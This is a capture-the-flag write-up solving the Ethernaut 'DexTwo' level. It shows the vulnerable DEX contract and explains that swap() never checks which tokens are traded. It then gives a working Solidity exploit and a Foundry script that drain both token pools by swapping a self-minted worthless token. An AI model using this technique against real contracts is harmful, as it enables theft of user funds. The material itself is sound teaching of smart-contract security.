This level will ask you to break DexTwo, a subtly modified Dex contract from the previous level, in a different way.

You need to drain all balances of token1 and token2 from the DexTwo contract to succeed in this level.

You will still start with 10 tokens of token1 and 10 of token2. The DEX contract still starts with 100 of each token.

This challenge is a continuation of Dex. In this one, we have to drain both token pools.

As for the other challenge, it defines a wrapper of an ERC20 token:

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract SwappableTokenTwo is ERC20 {
    address private _dex;

    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
    {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}

And then, it creates a DEX:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract DexTwo is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function add_liquidity(address token_address, uint256 amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint256 amount) public {
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapAmount(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint256 amount) public {
        SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
        SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256) {
        return IERC20(token).balanceOf(account);
    }
}

Analysis

Most importantly, note that, when swapping tokens, it is not verified that the traded tokens are either token1 or token2. Any token can be used as long as the DEX have some funds. Luckily, we can create any token we’d like and transfer tokens to anyone, including the DEX.

This way, we can use this approach:

  1. Create a new token and mint enough tokens… 200 sounds good
  2. Transfer 1 of those tokens to the DEX
  3. Swap 1 of our token for token1
  4. The DEX will compute the swap amount: 1 * 100 / 1 = 100
  5. The DEX will happily transfer 100 token1 to us and keep the useless token we created

We can repeat the same logic. We could create another different token and do exactly the same, but that’s more expensive for us gas-wise, so we’ll reuse this one. We now know that the DEX has 2 of our tokens. So,

  1. Swap 2 of our tokens for token2
  2. The DEX will compute the swap amount: 2 * 100 / 2 = 100
  3. The DEX will transfer 100 token2

Creation of the exploit

We can automate all of this using this contract:

contract Exploit {
    Dex public dex;
    SwappableTokenTwo public token1;
    SwappableTokenTwo public token2;
    SwappableTokenTwo public exploitToken;
    address player = address(0x12c5Da011f95E229Ba45f732e8f79608444D76b9);

    function setup(address _dex_addr) public {
        exploitToken = new SwappableTokenTwo("ExploitToken", "ET");
        dex = Dex(_dex_addr);
        token1 = SwappableTokenTwo(dex.token1());
        token2 = SwappableTokenTwo(dex.token2());
        token1.transferFrom(player, address(this), 10);
        token2.transferFrom(player, address(this), 10);
    }

    function exploit() public {
        exploitToken.transfer(address(dex), 1);
        exploitToken.approve(address(dex), 1);
        dex.swap(address(exploitToken), address(token1), 1);
        exploitToken.approve(address(dex), 2);
        dex.swap(address(exploitToken), address(token2), 2);
    }
}

And using this foundry script to automate the contracts deployment and transactions:

contract ExploitScript is Script {
    function run() external {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployerPrivateKey);

        Exploit exploit = new Exploit();

        address _dex_addr = address(0x211004D50d722225F83790E56e138DA1Fbc17f6B);
        Dex dex = Dex(_dex_addr);
        ERC20 token1 = ERC20(dex.token1());
        ERC20 token2 = ERC20(dex.token2());

        token1.approve(address(exploit), 10);
        token2.approve(address(exploit), 10);

        exploit.setup(_dex_addr);
        exploit.exploit();
        vm.stopBroadcast();
    }
}

Challenge solved!

alt text